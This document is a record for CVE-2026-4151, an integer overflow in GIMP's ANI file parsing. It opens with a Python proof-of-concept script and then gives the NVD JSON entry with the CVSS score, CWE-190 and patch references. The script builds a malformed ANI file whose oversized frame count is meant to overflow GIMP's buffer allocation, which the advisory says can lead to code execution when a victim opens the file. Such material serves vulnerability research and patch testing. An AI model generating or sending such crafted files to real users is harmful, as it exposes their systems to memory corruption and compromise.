CVE-2026-4151

import struct # PoC for CVE-2026-4151 # This script generates a malformed ANI file designed to trigger an integer overflow # in GIMP's buffer allocation logic. def generate_malicious_ani(filename): # ANI header structure riff = b'RIFF' # File size (placeholder) size = struct.pack('<I', 0) ac = b'ACON' # LIST header for info list_info = b'LIST' list_info_size = struct.pack('<I', 4) inam = b'INAM' # anih chunk (Animation Header) anih_tag = b'anih' anih_size = struct.pack('<I', 36) # The critical part: setting cFrames to a large number to trigger overflow # during buffer size calculation (e.g., cFrames * sizeof(struct)) cbSizeOf = 36 cFrames = 0x41424344 # Malicious large value cSteps = 1 cxWidth = 32 cyHeight = 32 cBitCount = 24 cPlanes = 1 jiffRate = 1 flags = 1 anih_data = struct.pack('<IIIIIIIIII', cbSizeOf, cFrames, cSteps, cxWidth, cyHeight, cBitCount, cPlanes, jiffRate, flags, 0) # Construct file with open(filename, 'wb') as f: f.write(riff + size + ac) f.write(list_info + list_info_size + inam) f.write(anih_tag + anih_size + anih_data) generate_malicious_ani('exploit_ani.ani')

{"cve": {"id": "CVE-2026-4151", "sourceIdentifier": "[email protected]", "published": "2026-04-11T01:16:16.697", "lastModified": "2026-04-14T19:32:53.477", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "GIMP ANI File Parsing Integer Overflow Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of GIMP. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.\n\nThe specific flaw exists within the parsing of ANI files. The issue results from the lack of proper validation of user-supplied data, which can result in an integer overflow before allocating a buffer. An attacker can leverage this vulnerability to execute code in the context of the current process. Was ZDI-CAN-28813."}], "metrics": {"cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-190"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:gimp:gimp:3.0.8:*:*:*:*:*:*:*", "matchCriteriaId": "0866C0EF-59AE-4AB9-8D0F-7C75CD20F77E"}]}]}], "references": [{"url": "https://gitlab.gnome.org/GNOME/gimp/-/commit/09e5459de913172fc51da3bd6b6adc533acd368e", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://www.zerodayinitiative.com/advisories/ZDI-26-218/", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}